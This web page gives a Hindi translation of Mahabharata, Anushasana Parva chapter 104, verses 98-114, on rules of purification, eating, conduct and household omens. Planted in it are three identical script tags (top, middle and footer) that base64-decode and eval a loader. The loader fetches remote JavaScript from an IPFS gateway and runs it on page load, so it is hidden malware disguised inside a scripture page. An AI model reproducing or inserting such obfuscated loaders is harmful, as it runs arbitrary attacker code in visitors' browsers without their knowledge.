महाभारत अनुशासन पर्व अध्याय 104 श्लोक 98-114

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चतुरधिकशततम (104) अध्याय: अनुशासन पर्व (दानधर्म पर्व)

महाभारत: अनुशासन पर्व: चतुरधिकशततम अध्याय: श्लोक 98-114 का हिन्दी अनुवाद

पानी, खीर, सत्तू, दही, घी और मधु- इन सबको छोड़कर अन्य भक्ष्य पदार्थों का अवशिष्‍ट भाग दूसरे किसी को नहीं देना चाहिये । पुरूषसिंह। भोजन करते समय भोजन के विषय में शंका नहीं करनी चाहिये तथा अपना भला चाहने वाले पुरूष को भोजन के अन्त में दही नहीं पीना चाहिये । भोजन करने के पश्चात कुल्ला करके मुंह धो ले और एक हाथ से दाहिने पैर से अंगूठे पर पानी डालें। फिर प्रयोग कुशल मनुष्य एकाग्रचित्त हो अपने हाथ को सिर पर रखे। उसके बाद अग्नि का मन से स्‍पर्श कर ले। ऐसा करने से वह कुटुम्बीजनों में श्रेष्ठता प्राप्त कर लेता है । इसके बाद जल से आंख, नाक आदि इन्द्रियों और नाभि का स्‍पर्श करके दोनों हाथों की हथेलियों का धो डालें। धोने के पश्चात गीले हाथ लेकर ही न बैठ जायें (उन्हें कपड़ों से पोंछकर सुखा दें) । अंगूठे का अन्तराल (मूल स्थान) ब्राह्यतीर्थ कहलाता है, कनिष्ठा आदि अंगुलियों का पश्‍चाद्भाग (अग्रभाग) देवतीर्थ कहा जाता है । भारत। अंगुष्ठ और तर्जनी के मध्य भाग को पितृतीर्थ कहते हैं। उसके द्वारा शास्त्र विधि से जल लेकर सदा पितृ कार्य करना चाहिये । अपनी भलाई चाहने वाले पुरूष को दूसरों की निंदा तथा अप्रिय वचन मुंह से नहीं निकालने चाहिये और किसी को क्रोध भी नही दिलाना चाहिये । पतित मनुष्यों के साथ वार्तालाप की इच्छा न करें। उनका दर्शन भी त्याग दें और उनके सत्तकर्म में कभी न जाये। ऐसा करने से मनुष्य बड़ी आयु पाता है । दिन में कभी मैथुन न करें। कुंमारी कन्या और कुल्टा के साथ कभी समागम न करें। अपनी पत्नि भी जब तक ऋतुस्नाता न हो तब तक उसके साथ समागम न करे। इससे मनुष्य को बड़ी आयु प्राप्त होती है। कार्य उपस्थित होने पर पर अपने-अपने तीर्थ में आचमन करके तीन बार जल पीयें और दो बार ओठों को पोंछ लें- ऐसा करने से मनुष्य शुद्ध हो जाता है । पहले नेत्र आदि इन्द्रियों का एक बार स्‍पर्श करके तीन बार अपने ऊपर जल छिड़कें, इसके बाद वेदोक्त विधि के अनुसार देव यज्ञ और पितृ यज्ञ करें । कुरूनन्दन। अब ब्राह्माण के लिये भोजन के आदि और अन्त में जो पवित्र एवं हितकारक शुद्धि को विधान हो, बता रहा हूं, सुनो । ब्राह्माण को प्रत्येक शुद्धि कार्य में ब्रह्मतीर्थ से आचमन करना चाहिये। थूकने और छींकने के बाद जल का स्‍पर्श (आचमन) करने से वह शुद्ध होता है। बूढे, कुटुम्बी, दरिद्रमित्र और कुलीन पंडित यदि निर्धन हों तो उनकी यथाशक्ति रक्षा करनी चाहिये। उन्हें अपने धर पर ठहराना चाहिये। इससे धन और आयु की वृद्वि होती है । परेवा, तोता, मैना आदि पक्षियों का घर में रहना अभ्युदयकारी और मंगलमय है। ये तैलपायिक पक्षियों की भांति अमंगल करने वाले नहीं होते। देवता की प्रतिमा, दर्पण, चंदन, फूल की लता, शुद्ध जल, सोना और चांदी- इन सब वस्तुओं घर में रहना मंगल कारक है । उद्दीपक, गीध, कपोत (जंगली कबूतर) और भ्रमर नामक पक्षी कभी घर में आ जायें तो सदा उसकी शांति ही करानी चाहिये; क्योंकि ये अमंगलकारी होते हैं। महात्माओं की निंदा भी मनुष्य का अकल्याण करने वाली है ।



« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>